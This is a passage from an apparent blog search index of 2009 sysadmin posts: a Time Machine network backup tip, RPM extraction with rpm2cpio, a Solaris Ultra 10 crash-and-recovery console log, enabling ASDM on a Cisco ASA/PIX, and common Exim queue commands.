\u0026ldquo;$DISK_IMAGE_NAME\u0026rdquo;` After you\u0026rsquo;ve run this command, you should end up with a disk image in your Home. It looks like a single file, but it\u0026rsquo;s actually a directory (just like a application). Don\u0026rsquo;t forget to copy this disk image to the appropriate share on your server. Just dragging and dropping from the Finder should work fine.\nNow you are able to use the share as Time Machine backup volume.\nHave a fun Leo\n","permalink":"https://www.deepreflect.net/2009/11/03/time-machine-network-backup-without-time-capsule/","summary":"\u003cp\u003eFrom OS X 10.5 (Leopard) Apple introduced Time Machine: a great combination of rsync/rsnapshot and a beautiful user interface.\nTime Machine works in two modes: 1. local volume on local area or 2. Time Capsule over network.\nNow I don\u0026rsquo;t wanna buy another box with apple logo over it for much $$$ when I have a lot of file servers on my network.\u003c/p\u003e\n\u003cp\u003eNow I explain a few hoops to get this system to work:\u003c/p\u003e","title":"Mac OS X - Time Machine network backup without Time Capsule"},{"content":"There is no direct RPM option available via rpm command to extract an RPM file. But there is a small utility available called rpm2cpio. It Extract cpio archive from RPM Package Manager (RPM) package. Example extract RPM file using rpm2cpio and cpio command:\n# rpm2cpio somepackage.x86_64.rpm | cpio -idmv\nOutput of rpm2cpio piped to cpio command with following options: i: Restore archive d: Create leading directories where needed m: Retain previous file modification times when creating files v: Verbose\n","permalink":"https://www.deepreflect.net/2009/11/02/extract-files-from-rpm-package/","summary":"\u003cp\u003eThere is no direct RPM option available via rpm command to extract an RPM file. But there is a small utility available called rpm2cpio. It Extract cpio archive from RPM Package Manager (RPM) package.\nExample extract RPM file using rpm2cpio and cpio command:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e# rpm2cpio somepackage.x86_64.rpm | cpio -idmv\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eOutput of rpm2cpio piped to cpio command with following options:\ni: Restore archive\nd: Create leading directories where needed\nm: Retain previous file modification times when creating files\nv: Verbose\u003c/p\u003e","title":"Extract files from RPM package"},{"content":"I\u0026rsquo;m working on graphic restyle, today the first release!\nLeo\n","permalink":"https://www.deepreflect.net/2009/10/28/graphic-restyle/","summary":"\u003cp\u003eI\u0026rsquo;m working on graphic restyle, today the first release!\u003c/p\u003e\n\u003cp\u003eLeo\u003c/p\u003e","title":"Graphic Restyle"},{"content":"Yesterday after 1 year and 2 month uptime, my poor Sun Ultra 10 (Solaris OS10) running into home server room, was crashed..\nI\u0026rsquo;m so sick, here the paste of console recovery procedure:\nType \u0026#39;go\u0026#39; to resume ok ? 1000000 Stack Underflow ok sync panic[cpu0]/thread=2a100057ca0: sync initiated sched: software trap 0x7f pid=0, pc=0xf0050c7c, sp=0x2a100056e81, tstate=0x8800001401, context=0x0 g1-g7: 104da44, 0, 183f000, 0, 1082400, 5, 2a100057ca0 00000000fffa9d10 unix:sync_handler+138 (fffe5718, 1000000, 1, 1083400, 1, 181500 0) %l0-3: 00000000018621b0 0000000001862000 000000000000017f 0000000001845800 %l4-7: 0000000000000000 000000000183f000 0000000000000009 0000000001810400 00000000fffa9de0 unix:vx_handler+80 (fffe5718, 181dfe8, f0000000, fffe0000, 181e 0f0, f003bda1) %l0-3: 000000000181e0f0 0000000000000000 0000000000000001 0000000000000001 %l4-7: 0000000001810c00 00000000f0000000 0000000001000000 0000000001018998 00000000fffa9e90 unix:callback_handler+20 (fffe5718, 1, 0, 0, 0, 0) %l0-3: 0000000000000016 00000000fffa9741 00000000f004a64c 00000000fffe0000 %l4-7: 0000000000000016 0000000000000000 0000000000000000 000000000180c000 syncing file systems... 3 done dumping to /dev/dsk/c0t0d0s7, offset 107413504, content: kernel 100% done: 15712 pages dumped, compression ratio 2.54, dump succeeded rebooting... Resetting ... Sun Ultra 5/10 UPA/PCI (UltraSPARC-IIi 440MHz), No Keyboard OpenBoot 3.25, 512 MB (50 ns) memory installed, Serial #15184795. Ethernet address 8:0:20:e7:b3:9b, Host ID: 80e7b39b. Rebooting with command: boot Boot device: /pci@1f,0/pci@1,1/ide@3/disk@0,0:a File and args: SunOS Release 5.10 Version Generic_137111-06 64-bit Copyright 1983-2008 Sun Microsystems, Inc. All rights reserved. Use is subject to license terms. Hostname: ultra10 Loading smf(5) service descriptions: 1/1 WARNING: svccfg import /var/svc/manifest/application/database/mysql.xml failed svccfg import warnings. See /var/svc/log/system-manifest-import:default.log . /dev/rdsk/c0t0d0s1 is clean ultra10 console login: root Password: Sep 29 23:02:52 ultra10 login: ROOT LOGIN /dev/console Last login: Tue Sep 29 22:21:42 from 192.168.2.15 Sun Microsystems Inc. SunOS 5.10 Generic January 2005 root@ultra10 ~ # ","permalink":"https://www.deepreflect.net/2009/10/02/sun-ultra10-crashrecovery/","summary":"\u003cp\u003eYesterday after 1 year and 2 month uptime, my poor Sun Ultra 10 (Solaris OS10) running into home server room, was crashed..\u003c/p\u003e\n\u003cp\u003eI\u0026rsquo;m so sick, here the paste of console recovery procedure:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eType  \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;go\u0026#39;\u003c/span\u003e to resume\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eok \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e?\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e1000000\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eStack Underflow\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eok sync\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003epanic[cpu0]\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ethread\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003ea100057ca0: sync initiated\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esched: software trap \u003cspan style=\"color:#ae81ff\"\u003e0x7f\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003epid\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e, pc\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0xf0050c7c\u003c/span\u003e, sp\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x2a100056e81\u003c/span\u003e, tstate\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x8800001401\u003c/span\u003e, context\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eg1\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eg7: \u003cspan style=\"color:#ae81ff\"\u003e104\u003c/span\u003eda44, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e183\u003c/span\u003ef000, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e1082400\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003ea100057ca0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e00000000\u003c/span\u003efffa9d10 unix:sync_handler\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e138\u003c/span\u003e (fffe5718, \u003cspan style=\"color:#ae81ff\"\u003e1000000\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e1083400\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e181500\u003c/span\u003e                                             \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003el0\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e00000000018621\u003c/span\u003eb0 \u003cspan style=\"color:#ae81ff\"\u003e0000000001862000\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e000000000000017\u003c/span\u003ef \u003cspan style=\"color:#ae81ff\"\u003e0000000001845800\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003el4\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e7\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0000000000000000\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e000000000183\u003c/span\u003ef000 \u003cspan style=\"color:#ae81ff\"\u003e0000000000000009\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0000000001810400\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e00000000\u003c/span\u003efffa9de0 unix:vx_handler\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e80\u003c/span\u003e (fffe5718, \u003cspan style=\"color:#ae81ff\"\u003e181\u003c/span\u003edfe8, f0000000, fffe0000, \u003cspan style=\"color:#ae81ff\"\u003e181\u003c/span\u003ee                                             \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003ef0, f003bda1)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003el0\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e000000000181e0\u003c/span\u003ef0 \u003cspan style=\"color:#ae81ff\"\u003e0000000000000000\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0000000000000001\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0000000000000001\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003el4\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e7\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0000000001810\u003c/span\u003ec00 \u003cspan style=\"color:#ae81ff\"\u003e00000000\u003c/span\u003ef0000000 \u003cspan style=\"color:#ae81ff\"\u003e0000000001000000\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0000000001018998\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e00000000\u003c/span\u003efffa9e90 unix:callback_handler\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003e (fffe5718, \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003el0\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0000000000000016\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e00000000\u003c/span\u003efffa9741 \u003cspan style=\"color:#ae81ff\"\u003e00000000\u003c/span\u003ef004a64c \u003cspan style=\"color:#ae81ff\"\u003e00000000\u003c/span\u003efffe0000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003el4\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e7\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0000000000000016\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0000000000000000\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0000000000000000\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e000000000180\u003c/span\u003ec000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esyncing file systems\u003cspan style=\"color:#f92672\"\u003e...\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e done\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edumping to \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003edev\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003edsk\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ec0t0d0s7, offset \u003cspan style=\"color:#ae81ff\"\u003e107413504\u003c/span\u003e, content: kernel\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e100\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003e done: \u003cspan style=\"color:#ae81ff\"\u003e15712\u003c/span\u003e pages dumped, compression ratio \u003cspan style=\"color:#ae81ff\"\u003e2.54\u003c/span\u003e, dump succeeded\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003erebooting\u003cspan style=\"color:#f92672\"\u003e...\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eResetting \u003cspan style=\"color:#f92672\"\u003e...\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSun Ultra \u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e UPA\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ePCI (UltraSPARC\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eIIi \u003cspan style=\"color:#ae81ff\"\u003e440\u003c/span\u003eMHz), No Keyboard\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eOpenBoot \u003cspan style=\"color:#ae81ff\"\u003e3.25\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e512\u003c/span\u003e MB (\u003cspan style=\"color:#ae81ff\"\u003e50\u003c/span\u003e ns) memory installed, Serial \u003cspan style=\"color:#75715e\"\u003e#15184795.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eEthernet address \u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003e:e7:b3:\u003cspan style=\"color:#ae81ff\"\u003e9\u003c/span\u003eb, Host ID: \u003cspan style=\"color:#ae81ff\"\u003e80e7\u003c/span\u003eb39b\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRebooting with command: boot\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eBoot device: \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003epci\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003ef,\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003epci\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eide\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003edisk\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e:a  \u003cspan style=\"color:#a6e22e\"\u003eFile\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003eand\u003c/span\u003e args:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSunOS Release \u003cspan style=\"color:#ae81ff\"\u003e5.10\u003c/span\u003e Version Generic_137111\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e06\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e64\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ebit\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCopyright \u003cspan style=\"color:#ae81ff\"\u003e1983\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2008\u003c/span\u003e Sun Microsystems, Inc\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e  All rights reserved\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUse is subject to license terms\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eHostname: ultra10\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eLoading smf(\u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e) service descriptions: \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWARNING: svccfg import \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esvc\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003emanifest\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eapplication\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003edatabase\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003emysql\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003exml failed\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esvccfg import warnings\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e See \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esvc\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003elog\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esystem\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003emanifest\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eimport:default\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003elog \u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003edev\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003erdsk\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ec0t0d0s1 is clean\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eultra10 console login: root\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePassword:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSep \u003cspan style=\"color:#ae81ff\"\u003e29\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e23\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e02\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e52\u003c/span\u003e ultra10 login: ROOT LOGIN \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003edev\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003econsole\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eLast login: Tue Sep \u003cspan style=\"color:#ae81ff\"\u003e29\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e22\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e21\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e42\u003c/span\u003e from \u003cspan style=\"color:#ae81ff\"\u003e192.168\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2.15\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSun Microsystems Inc\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e   SunOS \u003cspan style=\"color:#ae81ff\"\u003e5.10\u003c/span\u003e      Generic January \u003cspan style=\"color:#ae81ff\"\u003e2005\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003eultra10 \u003cspan style=\"color:#f92672\"\u003e~\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e#\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Sun Ultra10 - Crash/Recovery"},{"content":"fw01a\u0026gt; enable Password: fw01a# configure terminal fw01a(Config)# interface ethernet1 fw01a(Config-if)# nameif inside fw01a(Config-if)# ip address 192.168.1.1 255.255.255.0 fw01a(Config-if)# no shutdown fw01a(Config-if)# Activate ASDM and enable http server.\nfw01a(Config)# asdm image flash:/asdm.bin. fw01a(Config)# http server enable. Open a connection for your inside network.\nfw01a(Config)# http 192.168.1.0 255.255.255.0 inside\nMake sure all your config running properly.\nfw01a(Config)# show running http http server enabled http 192.168.1.0 255.255.255.0 inside fw01a(Config)# Now your Cisco ASA/PIX can be access from your PC, open your web browser then enter this address https://192.168.1.1/admin\n","permalink":"https://www.deepreflect.net/2009/09/17/cisco-asapix-enable-asdm/","summary":"\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003efw01a\u0026gt; enable\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePassword:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003efw01a# configure terminal\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003efw01a(Config)# interface ethernet1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003efw01a(Config-if)# nameif inside\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003efw01a(Config-if)# ip address 192.168.1.1 255.255.255.0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003efw01a(Config-if)# no shutdown\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003efw01a(Config-if)#\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eActivate ASDM and enable http server.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003efw01a(Config)# asdm image flash:/asdm.bin.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003efw01a(Config)# http server enable.\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eOpen a connection for your inside network.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003efw01a(Config)# http 192.168.1.0 255.255.255.0 inside\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eMake sure all your config running properly.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003efw01a(Config)# show running http\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ehttp server enabled\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ehttp 192.168.1.0 255.255.255.0 inside\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003efw01a(Config)#\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eNow your Cisco ASA/PIX can be access from your PC, open your web browser then enter this address https://192.168.1.1/admin\u003c/p\u003e","title":"Cisco - ASA/PIX enable ASDM"},{"content":"Some userfull Exim command:\nexim -bpmailq --- The mailq is relevant as it gives your the email IDs. exim -M emailIDforce delivery of one message exim -qf Force another queue run exim -qff Force another queue run and attempt to flush frozen messages exim -Mvl message IDView Log for message exim -Mvb message IDView Body for message exim -Mvh message IDView Header for message exim -Mrm message IDReMove message (no errors sent) exim -Mg message IDGive up and fail message, message bounces to sender ","permalink":"https://www.deepreflect.net/2009/09/16/exim-command/","summary":"\u003cp\u003eSome userfull Exim command:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eexim -bpmailq --- The mailq is relevant as it gives your the email IDs.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eexim -M emailIDforce delivery of one message\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eexim -qf Force another queue run\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eexim -qff\n\u003c/span\u003e\u003c/span\u003e\u003cspan 